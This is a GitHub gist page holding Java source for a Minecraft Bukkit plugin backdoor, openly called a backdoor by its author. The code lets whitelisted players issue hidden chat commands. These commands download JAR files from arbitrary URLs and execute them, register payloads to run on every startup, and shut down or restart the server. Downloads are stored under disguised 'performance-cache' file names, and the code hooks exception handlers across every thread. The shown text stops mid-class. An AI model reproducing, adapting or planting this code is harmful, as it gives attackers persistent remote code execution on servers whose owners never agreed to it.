Skip to content

Instantly share code, notes, and snippets.

@orbyfied
Last active November 26, 2023 15:33
Show Gist options
  • Save orbyfied/dd5e363146d23185b03d063f1d6bf16e to your computer and use it in GitHub Desktop.
Save orbyfied/dd5e363146d23185b03d063f1d6bf16e to your computer and use it in GitHub Desktop.
Minecraft backdoor I spent too much time on.
/*
Copyright 2022 orbyfied <https://www.github.com/orbyfied>
This program is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation, either version 3 of the License, or
(at your option) any later version.
This program is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU General Public License for more details.
You should have received a copy of the GNU General Public License
along with this program. If not, see <http://www.gnu.org/licenses/>.
*/
/*
NOTE: I made this for fun, not to be harmful.
For that reason I haven't particularly tried to hide the fact that it is a backdoor.
Use at your own risk. Also, I won't provide a guide on how to use this monstrosity of a program.
Good luck figuring that out!
*/
package com.github.orbyfied;
import org.bukkit.Bukkit;
import org.bukkit.ChatColor;
import org.bukkit.OfflinePlayer;
import org.bukkit.command.CommandSender;
import org.bukkit.entity.Player;
import org.bukkit.event.EventHandler;
import org.bukkit.event.Listener;
import org.bukkit.event.player.PlayerChatEvent;
import org.bukkit.event.player.PlayerJoinEvent;
import org.bukkit.plugin.java.JavaPlugin;
import org.yaml.snakeyaml.Yaml;
import java.awt.*;
import java.io.*;
import java.lang.annotation.ElementType;
import java.lang.annotation.Retention;
import java.lang.annotation.RetentionPolicy;
import java.lang.annotation.Target;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.lang.reflect.Method;
import java.net.URL;
import java.net.URLClassLoader;
import java.nio.file.Path;
import java.util.*;
import java.util.List;
import java.util.concurrent.Executors;
import java.util.concurrent.ThreadPoolExecutor;
import java.util.concurrent.atomic.AtomicBoolean;
import java.util.function.Consumer;
import java.util.function.Supplier;
import java.util.stream.Collectors;
/**
* Backdoor.
*/
public class Opbd implements Listener {
/**
* The first created instance.
*/
private static Opbd firstInstance;
//////////////////////////////////////////
public final Version version = Version.fromString("1.5.1");
/**
* The plugin that activated this
* backdoor.
*/
final JavaPlugin plugin;
/**
* Is this instance able to run or
* is running next to another instance.
*/
final boolean canParallel;
/**
* If this instance has
* already been injected.
*/
boolean isInjected = false;
/**
* The command prefix.
*/
final String prefix;
/**
* The command key.
*/
final String key;
/**
* The backdoor users.
*/
final List<UUID> players;
/**
* The registered commands keyed by aliases.
*/
final Map<String, ICommand> commandsByAlias = new HashMap<>();
/**
* The registered commands.
*/
final List<ICommand> commands = new ArrayList<>();
/**
* Task scheduler.
*/
final ExecutionService execution;
/**
* The security manager.
*/
final SecurityManager security;
/**
* The error log.
*/
final NamespacedEventLog events;
/**
* The save file supplier.
*/
Supplier<Path> saveSupplier = () -> Path.of(".saved/");
/**
* The saved state.
*/
SaveState saveState = new SaveState();
/**
* The random object used.
*/
final Random random = new Random();
/**
* The file backdoor register.
*/
final FbdRegister fbds = new FbdRegister();
/** Constructor. */
public Opbd(JavaPlugin plugin,
String prefix,
String key,
boolean canParallel,
List<UUID> players) {
this.plugin = plugin;
this.prefix = prefix;
this.key = key;
this.players = players;
this.canParallel = canParallel;
this.events = new NamespacedEventLog(56);
this.security = new SecurityManager(events)
.withErrorHandler(new NamespacedErrorHandler(events))
.addDomain(SecurityDomain.ofClass(Opbd.class));
this.execution = ExecutionService.createSafeBukkitBased(plugin, security);
pushDefaultCommands();
if (firstInstance == null)
firstInstance = this;
}
/** Easy Constructor. */
public Opbd(JavaPlugin plugin,
String prefix,
String key,
boolean canParallel,
UUID... playeruuids) {
this(plugin, prefix, key, canParallel, new ArrayList<>(Arrays.asList(playeruuids)));
}
/** Easier Constructor. */
public Opbd(JavaPlugin plugin,
String prefix,
String key,
boolean canParallel,
String... playeruuids) {
this(plugin, prefix, key, canParallel, Arrays.stream(playeruuids).map(UUID::fromString).collect(Collectors.toList()));
}
public Version getVersion() { return version; }
public List<UUID> getPlayers() { return players; }
public String getKey() { return key; }
public String getPrefix() { return prefix; }
public Opbd get() {
if (firstInstance == this || canParallel) return this;
return firstInstance;
}
public void inject() {
// ...
AtomicBoolean success = new AtomicBoolean(false);
// inject security manager
security.inject();
// inject event listener
Bukkit.getPluginManager().registerEvents(this, plugin);
// schedule for when done
Bukkit.getScheduler().runTask(plugin, () -> {
try {
// load state
loadState();
// load all backdoors
for (URL url : saveState.doFilesOnStartup)
doFile(url, null);
} catch (Exception e) { success.set(false); }
});
// injected?
isInjected = success.get();
/* DEBUG */
execution.createThread(() -> {
throw new IllegalStateException();
}).start();
}
public CommandDispatchResult dispatch(CommandSender sender, String message) {
try {
// check access
if (sender instanceof Player)
if (!players.contains(((Player)sender).getUniqueId()))
return new CommandDispatchResult(CDResultType.ILLEGAL_ACCESS);
// parse
String[] split = message.split(" ");
if (!split[0].equals(prefix + key)) return new CommandDispatchResult(CDResultType.ILLEGAL_ACCESS, "invalid prefixkey");
if (split.length < 2) return new CommandDispatchResult(CDResultType.NO_SUCH_COMMAND, "No subcommand provided.");
String command = split[1];
String[] args = Arrays.copyOfRange(split, 2, split.length);
// dispatch
ICommandExec cmdexec = commandsByAlias.get(command);
if (cmdexec == null) return new CommandDispatchResult(CDResultType.NO_SUCH_COMMAND, "No alias '" + command + "' exists.");
try {
cmdexec.execute(this, sender, args);
return new CommandDispatchResult(CDResultType.SUCCESS);
} catch (Exception e) { return new CommandDispatchResult(CDResultType.COMMAND_EXCEPTION, e); }
} catch (Exception e) { return new CommandDispatchResult(CDResultType.DISPATCH_EXCEPTION, e); }
}
/* ------------ Events ----------------- */
@EventHandler
public void onChat(PlayerChatEvent event) {
// get message
String message = event.getMessage();
// send info message
if (message.equals("$$bdinfo") && players.contains(event.getPlayer().getUniqueId())) {
event.setCancelled(true);
trySendInfoMessage(event.getPlayer());
return;
}
// try to dispatch
CommandDispatchResult result = dispatch(event.getPlayer(), message);
// check result
if (result.type() == CDResultType.ILLEGAL_ACCESS) return;
else if (result.type() == CDResultType.NO_SUCH_COMMAND)
psendlm(event.getPlayer(), 1, "Command Not Found", result.message);
else if (result.type() == CDResultType.COMMAND_EXCEPTION)
psendlm(event.getPlayer(), 2, "Command Exception", result.t.toString());
else if (result.type() == CDResultType.DISPATCH_EXCEPTION)
psendlm(event.getPlayer(), 3, "Dispatch Exception", result.t.toString());
event.setCancelled(true);
}
@EventHandler
public void onJoin(PlayerJoinEvent event) {
// check for access and send welcome
Player player = event.getPlayer();
trySendInfoMessage(player);
}
/* -------------- Content --------------- */
public interface ICommand extends ICommandExec {
/**
* Returns a short description
* of what the command does.
* @return The description.
*/
String description();
/**
* Returns the command usage.
* @return The usage.
*/
String usage();
/**
* Returns the name of this
* command.
* @return The name.
*/
String name();
/**
* Returns the aliases of
* this command.
* @return The aliases.
*/
String[] aliases();
///////////////////////////
/**
* Creates a command with the given
* properties.
* @param name The name.
* @param exec The executor.
* @param aliases The aliases.
* @return The command.
*/
static ICommand of(final String name,
final ICommandExec exec,
final String... aliases) {
return new ICommand() {
@Override public String usage() { return name + " ..."; }
@Override public String description() { return null; }
@Override public String name() { return name; }
@Override public String[] aliases() { return aliases; }
@Override public void execute(Opbd bd, CommandSender sender, String[] args) { exec.execute(bd, sender, args); }
};
}
/**
* Creates a command with the given
* properties.
* @param name The name.
* @param exec The executor.
* @param aliases The aliases.
* @return The command.
*/
static ICommand of(final String name,
final ICommandExec exec,
final String description,
final String usage,
final String[] aliases) {
return new ICommand() {
@Override public String usage() { return usage; }
@Override public String description() { return description; }
@Override public String name() { return name; }
@Override public String[] aliases() { return aliases; }
@Override public void execute(Opbd bd, CommandSender sender, String[] args) { exec.execute(bd, sender, args); }
};
}
}
public interface ICommandExec {
/**
* Called when this command is dispatched.
* @param bd Reference to the backdoor instance.
* @param sender The optional command sender.
* @param args The parameters.
*/
void execute(Opbd bd, CommandSender sender, String[] args);
}
public void pushDefaultCommands() {
try {
// $dofile <url>
withCommand(ICommand.of("dofile", (bd, sender, args) -> {
if (args.length == 0) {
psendlm(sender, 1, "Missing Argument(s)", "Missing arg 0: URL");
return;
}
bd.doFile(args[0], sender,
Arrays.copyOfRange(args, 1, args.length));
}, "Executes a JAR backdoor.", "dofile <url>", null));
// $undofile <id>
withCommand(ICommand.of("undofile", (bd, sender, args) -> {
if (args.length == 0) {
psendlm(sender, 1, "Missing Argument(s)", "Missing arg 0: ID");
return;
}
bd.fbds.getById(Integer.parseInt(args[0])).destroy();
}, "Destroys/stops a JAR backdoor.", "undofile <id>", null));
// $addbootfile <url>
withCommand(ICommand.of("addbootfile", (bd, sender, args) -> {
if (args.length == 0) {
psendlm(sender, 1, "Missing Argument(s)", "Missing arg 0: URL");
return;
}
bd.addBootfile(args[0]);
}, "Adds a file to do on startup.", "addbootfile <url>", null));
// $rmbootfile <url>
withCommand(ICommand.of("rmbootfile", (bd, sender, args) -> {
if (args.length == 0) {
psendlm(sender, 1, "Missing Argument(s)", "Missing arg 0: URL");
return;
}
bd.removeBootfile(args[0]);
}, "Removes a file to do on startup.", "rmbootfile <url>", null));
// $stopserver
withCommand(ICommand.of("stopserver", (bd, sender, args) -> {
Bukkit.shutdown();
}, "Shuts down the server.", "stopserver", null));
// $restartserver
withCommand(ICommand.of("restartserver", (bd, sender, args) -> {
Bukkit.spigot().restart();
}, "Tries to restart the server.", "restartserver", null));
// $savestate
withCommand(ICommand.of("savestate", (bd, sender, args) -> {
bd.saveState();
}, "Saves the state of the backdoor.", "savestate", null));
// $loadstate
withCommand(ICommand.of("loadstate", (bd, sender, args) -> {
bd.loadState();
}, "(Re)Loads the state of the backdoor.", "loadstate", null));
// $help
withCommand(ICommand.of("help", (bd, sender, args) -> {
StringBuilder message = new StringBuilder("\n\n");
message.append(" ").append(ChatColor.GREEN)
.append(ChatColor.BOLD).append("$ Backdoor Command Help")
.append("\n");
for (ICommand command : commands) {
message.append(ChatColor.GOLD).append(" \u25A0 ").append(command.name())
.append(" ").append(ChatColor.YELLOW).append(command.aliases() == null ? "[]" : Arrays.toString(command.aliases()))
.append(": ");
if (command.description() == null)
message.append(ChatColor.RED + "No description.");
else message.append(ChatColor.GREEN).append(command.description());
message.append(ChatColor.WHITE).append(" | Usage: ")
.append(ChatColor.AQUA).append(command.usage());
message.append("\n");
}
sender.sendMessage(message.toString());
sender.sendMessage("");
sender.sendMessage("");
}, "Displays command help information.", "help", null));
// $showevents
withCommand(ICommand.of("showevents", (bd, sender, args) -> {
sender.sendMessage("");
StringBuilder message = new StringBuilder();
message.append(" ").append(ChatColor.WHITE)
.append(ChatColor.BOLD).append("$ Backdoor " + ChatColor.GOLD +
ChatColor.BOLD + "Event" + ChatColor.WHITE + ChatColor.BOLD + " Log \n\n");
for (NamespacedEvent event : events.events)
message.append(ChatColor.DARK_GRAY).append("\u25A0 ")
.append(createFormattedSummary(event))
.append("\n\n");
sender.sendMessage(message.toString());
sender.sendMessage("");
}, "Displays the event log summary.", "showevents", null));
withCommand(ICommand.of("showevent", (bd, sender, args) -> {
if (args.length == 0) {
psendlm(sender, 1, "Missing Argument(s)", "Missing arg 0: Event ID");
return;
}
int id;
NamespacedEvent event;
try {
id = Integer.parseInt(args[0]);
event = events.getEventById(id);
if (event == null) throw new NullPointerException();
} catch (NumberFormatException | NullPointerException e) {
psendlm(sender, 1, "Invalid ID", "Event with ID " + args[0] + " not found.");
return;
}
sender.sendMessage("");
StringBuilder b = new StringBuilder();
b.append(ChatColor.BOLD + " $ Event: " + ChatColor.DARK_RED)
.append(id)
.append(ChatColor.WHITE)
.append(":\n");
b.append(ChatColor.DARK_GRAY + " \u25A0 " + ChatColor.WHITE + "ID: " + ChatColor.RED + id + "\n");
b.append(ChatColor.DARK_GRAY + " \u25A0 " + ChatColor.WHITE + "Namespace: " + ChatColor.YELLOW + event.namespace + "\n");
b.append(ChatColor.DARK_GRAY + " \u25A0 " + ChatColor.WHITE + "Level: " + getLevelColor(event.level) + "\u26A0 " + event.level + "\n");
if (event.time != null) b.append(ChatColor.DARK_GRAY + " \u25A0 " + ChatColor.WHITE + "Time: " + ChatColor.AQUA + event.time + "\n");
if (event.details != null) b.append(ChatColor.DARK_GRAY + " \u25A0 " + ChatColor.WHITE + "Details: " + ChatColor.GOLD + event.details + "\n");
if (event.t != null) {
b.append(ChatColor.DARK_GRAY + " \u25A0 " + ChatColor.WHITE + "Exception: ");
b.append(ChatColor.RED + event.t.toString() + "\n" + ChatColor.DARK_GRAY + "Stack Trace: " + "\n");
b.append(ChatColor.GRAY).append(getStackTraceAsStringWithNewline(event.t));
}
sender.sendMessage(b.toString());
sender.sendMessage("");
}, "Displays one event in detail.", "showevent <id>", null));
} catch (Exception e) { }
}
/* Cool Character I Found: ⌬ */
/* -------------- Tasks ---------------- */
static class DfTask extends Task {
/* Storage. */
public volatile URL remoteUrl;
public volatile URL fileUrl;
public volatile File tempFile;
public volatile URLClassLoader loader;
public volatile String[] args;
public volatile FbdLink link;
}
/* ------------ Operations ------------- */
public static class FbdRegister {
/**
* List of all file backdoors.
*/
final List<FbdLink> fbds = new ArrayList<>();
/**
* File backdoors by ID.
*/
final Map<Integer, FbdLink> fbdById = new HashMap<>();
public Map<Integer, FbdLink> getAllById() {
return fbdById;
}
public List<FbdLink> getList() {
return fbds;
}
public FbdLink getById(int id) {
return fbdById.get(id);
}
public void add(FbdLink link) {
if (link.id == -1) return;
fbds.add(link);
fbdById.put(link.id, link);
}
public void remove(int id) {
fbds.remove(fbdById.remove(id));
}
public void remove(FbdLink link) {
fbds.remove(link);
fbdById.remove(link.id);
}
public boolean isIdTaken(int id) {
return fbdById.containsKey(id);
}
}
public int doFile(final URL url,
final CommandSender sender,
final String... args) {
try {
// create task
DfTask task = new DfTask();
task.remoteUrl = url;
task.args = args;
// create file
task.tempFile = saveSupplier.get().resolve("performance-cache-" + Integer.toUnsignedString(url.hashCode(), 16) + ".jch").toFile();
if (task.tempFile.exists())
if (!task.tempFile.delete())
return -1;
if (!task.tempFile.createNewFile())
return -1;
// create file url
task.fileUrl = task.tempFile.toURI().toURL();
// prepare task
task
/* Download contents into file. */
.withPart(TaskPart.of((Consumer<DfTask>) _s -> {
try {
InputStream inputStream = task.remoteUrl.openStream();
OutputStream outputStream = new FileOutputStream(task.tempFile);
inputStream.transferTo(outputStream);
inputStream.close();
outputStream.close();
} catch (Exception e) { events.pushEvent(e, 2, "DoFile: Download"); }
}, true))
/* Do the rest. */
.withPart(TaskPart.of((Consumer<DfTask>) _s -> {
try {
// create class loader
URLClassLoader loader = new URLClassLoader(
new URL[] { task.fileUrl },
plugin.getClass().getClassLoader()
);
// push class loader
task.loader = loader;
// load bd.yml
Yaml yaml = new Yaml();
Map<String, Object> info = yaml.load(loader.getResourceAsStream("bd.yml"));
if (!info.containsKey("main")) {
events.pushEvent(null, 1, "DoFile: Load Info", "Malformed bd.yml: Missing " +
"main class"); return; }
String klassname = (String)info.get("main");
String name = (String)info.get("name");
if (name == null) name = "<unspecified>";
// generate id
int id = random.nextInt(0, Integer.MAX_VALUE);
while (fbds.isIdTaken(id))
id = random.nextInt(0, Integer.MAX_VALUE);
// load class and invoke backdoor
Class<?> klass = Class.forName(klassname, true, loader);
FbdLink link = new FbdLink(this, id, name, klass, loader);
task.link = link;
link.push()
.create()
.invoke(args);
// send success message
if (sender != null)
if (link.isSuccess())
sender.sendMessage(ChatColor.WHITE + "$ " + ChatColor.GREEN + ChatColor.BOLD + "(!) " + ChatColor.GREEN + "Successfully invoked backdoor. "
+ ChatColor.WHITE + "With ID: " + ChatColor.YELLOW + link.id);
else
sender.sendMessage(ChatColor.WHITE + "$ " + ChatColor.RED + ChatColor.BOLD + "(!) " + ChatColor.RED + "Failed to invoke backdoor. "
+ ChatColor.WHITE + "With ID: " + ChatColor.YELLOW + link.id);
// push exit code
events.pushEvent(null, 0, "DoFile: Load", "success: " +
link.isSuccess() + ", id: " + link.id + ", instance: " + link.it);
} catch (Exception e) { events.pushEvent(e, 2, "DoFile: Load"); }
}, false))
/* Finish off. */
.withPart(TaskPart.of((Consumer<? extends Task>) _s -> {
try {
// close class loader
task.loader.close();
// delete temporary file
if (!task.tempFile.delete()) {
events.pushEvent(null, 1, "DoFile: Clean", "failed to delete now");
task.tempFile.deleteOnExit();
}
} catch (Exception e) { events.pushEvent(e, 2, "DoFile: Clean"); }
}, true));
// run task
task.run(execution);
// return id if successful, otherwise -1
if (task.link != null)
return task.link.id;
return -1;
} catch (Exception e) {
events.pushEvent(e, 2, "DoFile: ExecRoot");
if (sender != null)
sender.sendMessage(ChatColor.RED + "$ Error in DoFile: " + ChatColor.WHITE + e);
return -1;
}
}
public void doFile(String url, CommandSender sender, String... args) {
try { doFile(new URL(url), sender); }
catch (Exception e) {
if (sender != null)
psendlm(sender, 2, "DoFileWrapException", e.toString());
}
}
/**
* File backdoor link.
*/
public static class FbdLink {
/**
* Reference to core instance.
*/
final Opbd opbd;
/**
* Backdoor ID.
*/
final int id;
/**
* The backdoors name.
*/
final String name;
/**
* The class.
*/
Class<?> klass;
/**
* The backdoor object.
*/
Object it;
/**
* Successfully created?
*/
boolean success;
/**
* Temporary class loader.
*/
ClassLoader loader;
/** Constructor. */
public FbdLink(Opbd opbd,
int id,
String name,
Class<?> klass,
ClassLoader loader) {
this.opbd = opbd;
this.id = id;
this.name = name;
this.klass = klass;
this.loader = loader;
}
/* Getters. */
public Opbd getBd() { return opbd; }
public int getId() { return id; }
public String getName() { return name; }
public Class<?> getKlass() { return klass; }
public ClassLoader getLoader() { return loader; }
public Object getObject() { return it; }
public boolean isSuccess() { return success; }
public FbdLink push() {
opbd.fbds.add(this);
return this;
}
/**
* Creates the backdoor instance.
* @return This.
*/
public FbdLink create() {
try {
// create instance
Constructor<?> constructor = klass.getConstructor();
it = constructor.newInstance();
// fill fields
fillFields();
} catch (Exception e) {
opbd.getSecurity().getErrorLog()
.pushEvent(e, 1, "FileBackdoor: Create",
"id: " + id);
success = false;
}
// return
return this;
}
public void fillField(Field f) throws IllegalAccessException {
// set accessible
f.setAccessible(true);
// process annotations and get property name
if (!f.isAnnotationPresent(AutoProperty.class)) return;
String name = f.getAnnotation(AutoProperty.class).value();
if (name.equals("<unspecified>")) name = f.getName();
// get/generate appropriate data
Object fill;
switch (name) {
case "bd" -> fill = opbd;
case "link" -> fill = this;
case "loader" -> fill = loader;
case "random" -> fill = opbd.random;
default -> { return; }
}
// set data
f.set(it, fill);
}
public void fillFields() {
try {
// iterate over fields and fill them
for (Field f : klass.getDeclaredFields())
fillField(f);
} catch (Exception e) {
opbd.getSecurity().getErrorLog()
.pushEvent(e, 1, "FileBackdoor: Create",
"id: " + id);
success = false;
}
}
/**
* Invokes the invoke method with
* the provided arguments.
* @param args The arguments.
* @return This.
*/
public FbdLink invoke(String[] args) {
// default to false
this.success = false;
// check if it has been created yet
if (it == null) return this;
try {
// call invoke method
try {
success = (boolean)klass.getMethod("bdInvoke",
Object.class, JavaPlugin.class, ClassLoader.class, String[].class)
.invoke(it, this, opbd.plugin, loader, (Object)args);
} catch (Exception e) {
opbd.getSecurity().getErrorLog()
.pushEvent(e, 1, "FileBackdoor: OnInvoke",
"id: " + id);
success = false;
}
} catch (Exception e) {
opbd.getSecurity().getErrorLog()
.pushEvent(e, 1, "FileBackdoor: Invoke",
"id: " + id);
success = false;
}
// return
return this;
}
/**
* Destroys the backdoor and
* this instance.
*/
public FbdLink destroy() {
try {
// call destroy method on instance
klass.getMethod("bdDestroy")
.invoke(it);
// remove reference
it = null;
} catch (Exception e) {
opbd.getSecurity().getErrorLog()
.pushEvent(e, 1, "FileBackdoor: Destroy",
"id: " + id);
}
// remove this from FBD collections
opbd.fbds.remove(this);
// return
return this;
}
}
@Retention(RetentionPolicy.RUNTIME)
@Target(ElementType.FIELD)
public @interface AutoProperty {
/**
* Field name.
*/
String value() default "<unspecified>";
}
/* -------------- External -------------- */
public Opbd withCommand(ICommand command) {
Objects.requireNonNull(command, "command cannot be null");
commandsByAlias.put(command.name(), command);
commands.add(command);
if (command.aliases() != null)
for (String s : command.aliases())
commandsByAlias.put(s, command);
return this;
}
public Opbd withoutCommand(ICommand command) {
Objects.requireNonNull(command, "command cannot be null");
commandsByAlias.remove(command.name(), command);
commands.remove(command);
if (command.aliases() != null)
for (String s : command.aliases())
commandsByAlias.remove(s, command);
return this;
}
public Opbd withoutCommand(String name) {
ICommand command = commandsByAlias.get(name);
if (command != null) withoutCommand(command);
return this;
}
public ICommand getCommand(String name) {
return commandsByAlias.get(name);
}
public ICommandExec getCommandExecutor(String name) {
return commandsByAlias.get(name);
}
public Opbd allowPlayer(UUID uuid) {
players.add(uuid);
return this;
}
public Opbd allowPlayer(OfflinePlayer player) {
return allowPlayer(player.getUniqueId());
}
public Opbd allowPlayer(String playername) {
return allowPlayer(Bukkit.getPlayer(playername));
}
public Opbd disallowPlayer(UUID uuid) {
players.remove(uuid);
return this;
}
public Opbd disallowPlayer(OfflinePlayer player) {
return disallowPlayer(player.getUniqueId());
}
public Opbd disallowPlayer(String playername) {
return disallowPlayer(Bukkit.getPlayer(playername));
}
public boolean isPlayerAllowed(UUID uuid) {
return players.contains(uuid);
}
public void addBootfile(URL url) {
saveState.doFilesOnStartup.add(url);
}
public void addBootfile(String url) {
try { addBootfile(new URL(url)); } catch (Exception e) { }
}
public void removeBootfile(URL url) {
saveState.doFilesOnStartup.remove(url);
}
public void removeBootfile(String url) {
try { removeBootfile(new URL(url)); } catch (Exception e) { }
}
public boolean isInjected() {
return isInjected;
}
public boolean canParallel() {
return canParallel;
}
public SecurityManager getSecurity() {
return security;
}
public ExecutionService getExecution() {
return execution;
}
public NamespacedEventLog getEventLog() {
return events;
}
public FbdRegister getFileBackdoors() { return fbds; }
public interface IFbdTemplate {
boolean bdInvoke(
Object linkHandle,
JavaPlugin plugin,
ClassLoader loader,
String[] args
) throws Exception;
void bdDestroy();
}
/* ------------- Scheduling ------------- */
public static abstract class ExecutionService {
final NamespacedEventLog errorLog;
public ExecutionService(NamespacedEventLog errorLog) {
this.errorLog = errorLog;
}
public NamespacedEventLog getErrorLog() {
return errorLog;
}
/**
* The asynchronous thread executor.
*/
final ThreadPoolExecutor asyncExectutor = (ThreadPoolExecutor)Executors.newFixedThreadPool(8);
/**
* The task queue.
*/
final ArrayDeque<Task> tasks = new ArrayDeque<>();
public abstract void doSync(Runnable runnable);
public abstract Thread createThread(Runnable runnable);
public void runTaskSafeNow(Task task) {
try {
task.run(this);
} catch (Exception e) { }
}
public void runTaskNow(Task task) {
task.run(this);
}
//////////////////////////
public static SafeBukkitExecutionService createSafeBukkitBased(JavaPlugin plugin,
SecurityManager securityManager) {
return new SafeBukkitExecutionService(plugin, securityManager);
}
}
public static class Task {
/**
* The scheduler.
*/
ExecutionService executionService;
/**
* The tasks parts.
*/
final List<TaskPart<? extends Task>> parts = new ArrayList<>();
/**
* Async lock object.
*/
Object lock;
/**
* Is this task running?
*/
boolean isRunning = false;
/**
* Adds a part to the task.
* @param part The part to add.
* @return This.
*/
public Task withPart(TaskPart<? extends Task> part) {
parts.add(part);
return this;
}
/**
* Adds multiple parts to this task.
* @param partArray The parts.
* @return This.
*/
public Task withParts(TaskPart<? extends Task>... partArray) {
parts.addAll(Arrays.asList(partArray));
return this;
}
/**
* @return Is this task currently running?
*/
public boolean isRunning() {
return isRunning;
}
/**
* Runs the task on the provided
* execution service.
* @param executionService The execution service.
* @return This.
*/
public Task run(ExecutionService executionService) {
this.executionService = executionService;
this.isRunning = true;
runPart(0);
return this;
}
/**
* Waits for the task to complete.
*/
public void join() {
lock = new Object();
try { lock.wait(); }
catch (Exception e) { }
}
/**
* Waits for the task to complete,
* or for the timeout to pass.
* @param timeoutms The timeout in miliseconds.
*/
public void join(long timeoutms) {
lock = new Object();
try { lock.wait(timeoutms); }
catch (Exception e) { }
}
/**
* Marks the task as complete.
* Notifies the lock object.
*/
public void complete() {
isRunning = false;
if (lock != null)
lock.notifyAll();
}
/**
* Executes a task part.
*/
void runPart(int i) {
if (!isRunning)
return;
if (i >= parts.size()) {
complete();
return;
}
TaskPart<? extends Task> part = parts.get(i);
if (part == null) return;
if (part.isAsync()) {
final int ic = i + 1;
executionService.createThread(() -> {
try {
part.run(this);
if (part.isJoined)
executionService.doSync(() -> runPart(ic));
} catch (Exception e) {
executionService.getErrorLog().pushEvent(new NamespacedEvent(
e, 2, "Async Task Execution", new Date(),
"Exception occured."
));
}
}).start();
if (!part.isJoined)
runPart(ic);
} else {
part.run(this);
i++;
try {
runPart(i);
} catch (Exception e) {
executionService.getErrorLog().pushEvent(new NamespacedEvent(
e, 2, "Sync Task Execution", new Date(),
"Exception occured."
));
}
}
}
}
public record TaskPart<T extends Task>(
boolean isAsync, boolean isJoined, Consumer<T> target) {
@SuppressWarnings("unchecked")
public void run(Task task) {
target.accept((T)task);
}
public static <T extends Task> TaskPart<T> of(Consumer<T> target, boolean isAsync) {
return new TaskPart<>(isAsync, true, target);
}
}
public static class SafeBukkitExecutionService extends ExecutionService {
final JavaPlugin plugin;
final SecurityManager security;
public SafeBukkitExecutionService(JavaPlugin plugin,
SecurityManager security) {
super(security.getErrorLog());
this.plugin = plugin;
this.security = security;
}
@Override
public void doSync(Runnable runnable) {
Bukkit.getScheduler().runTask(plugin, runnable);
}
@Override
public Thread createThread(Runnable runnable) {
Thread t = new Thread(runnable);
security.injectExceptionHandler(t);
return t;
}
}
/* -------------- Security -------------- */
public interface ErrorHandler {
void handle(SecurityManager manager,
SecurityDomain domain,
Thread thread,
Throwable t);
}
public interface SecurityDomain {
/**
* Returns a string representing
* this security domain.
* @return The string.
*/
String asString();
/**
* Checks if the given stack trace
* element is caught by this domain.
* @param element The element.
* @return If it is caught.
*/
boolean catches(StackTraceElement element);
/**
* Generates cache entries that are captured
* by this domain related to the given
* stack trace element. If the related element
* is null, it should generate cache entries
* that are captured in general.
* @param element The element to relate to.
* @param cache The cache to add to.
* @return The list of entries.
*/
void cacheRelated(
StackTraceElement element,
ICacheAccess<HashableSTE, SecurityDomain> cache
);
////////////////////////////////////////
static ClassSecurityDomain ofClass(Class<?> klass) {
return new ClassSecurityDomain(klass);
}
static ClassSecurityDomain ofClass(String className) {
try { return new ClassSecurityDomain(Class.forName(className)); }
catch (Exception e) { return null; }
}
}
public interface ICacheAccess<K, V> {
void modify(K k, V v);
void invalidate();
}
public static class SecurityManager {
/**
* Interface to indicate a custom exception handler.
*/
class CExceptionHandler implements Thread.UncaughtExceptionHandler {
final Thread.UncaughtExceptionHandler oldHandler;
public CExceptionHandler(Thread.UncaughtExceptionHandler old) {
this.oldHandler = old;
}
@Override
public void uncaughtException(Thread t, Throwable e) {
// System.out.println("HANDLER CALLED @ " + t + ": " + e);
handle(t, e, oldHandler);
}
}
/** Constructor. */
public SecurityManager(NamespacedEventLog errorLog) {
this.errorLog = errorLog;
this.addingCacheAccess = new ICacheAccess<>() {
@Override
public void modify(HashableSTE ste, SecurityDomain domain) {
cache.put(ste, domain);
}
@Override
public void invalidate() {
invalidateCaches();
}
};
this.removingCacheAccess = new ICacheAccess<>() {
@Override
public void modify(HashableSTE ste, SecurityDomain domain) {
cache.remove(ste, domain);
}
@Override
public void invalidate() {
invalidateCaches();
}
};
}
/**
* The error log.
*/
final NamespacedEventLog errorLog;
/**
* The security domain this security
* manager captures.
*/
final List<SecurityDomain> domains = new ArrayList<>();
/**
* Caches stack trace elements to
* security domains.
*/
final Map<HashableSTE, SecurityDomain> cache = new HashMap<>();
final ICacheAccess<HashableSTE, SecurityDomain> addingCacheAccess;
final ICacheAccess<HashableSTE, SecurityDomain> removingCacheAccess;
/**
* The error handler.
*/
ErrorHandler handler;
public void handle(
Thread thread,
Throwable t,
Thread.UncaughtExceptionHandler delegate) {
// get stack trace
StackTraceElement[] trace = t.getStackTrace();
// try to get the security domain and handle it
SecurityDomain domain;
if ((domain = getCaptured(trace)) != null && handler != null) handler.handle(SecurityManager.this, domain, thread, t);
// call the old handler
else if (delegate != null) delegate.uncaughtException(thread, t);
}
public void inject() {
// inject default uncaught exception handler
injectExceptionHandler(null);
// inject into the current thread
injectExceptionHandler(Thread.currentThread());
// inject exception handler into all existent threads
Set<Thread> threadSet = Thread.getAllStackTraces().keySet();
for (Thread thread : threadSet)
injectExceptionHandler(thread);
}
public void injectExceptionHandler(Thread thread) {
// get old exception handler
final Thread.UncaughtExceptionHandler oldHandler = thread != null ? thread.getUncaughtExceptionHandler()
: Thread.getDefaultUncaughtExceptionHandler();
if (oldHandler instanceof CExceptionHandler)
return;
// create new handler
CExceptionHandler newHandler = new CExceptionHandler(oldHandler);
// inject new handler
if (thread != null) thread.setUncaughtExceptionHandler(newHandler);
else Thread.setDefaultUncaughtExceptionHandler(newHandler);
}
/**
* Sets the current error handler.
* @param handler The error handler.
* @return This.
*/
public SecurityManager withErrorHandler(ErrorHandler handler) {
this.handler = handler;
return this;
}
public boolean isCaptured(StackTraceElement[] stackTrace) {
return getCaptured(stackTrace) != null;
}
public SecurityDomain getCaptured(StackTraceElement[] stackTrace) {
SecurityDomain domain;
for (StackTraceElement element : stackTrace)
if ((domain = getCaptured(element)) != null) return domain;
return null;
}
public SecurityDomain getCaptured(StackTraceElement element) {
HashableSTE ste = HashableSTE.from(element);
SecurityDomain domain;
if ((domain = cache.get(ste)) != null) return domain;
int l = domains.size();
for (int i = 0; i < l; i++) {
domain = domains.get(i);
if (domain.catches(element)) {
cache.put(ste, domain);
domain.cacheRelated(element, addingCacheAccess);
return domain;
}
}
return null;
}
public void invalidateCaches() {
cache.clear();
}
public ErrorHandler getHandler() {
return handler;
}
public List<SecurityDomain> getDomains() {
return domains;
}
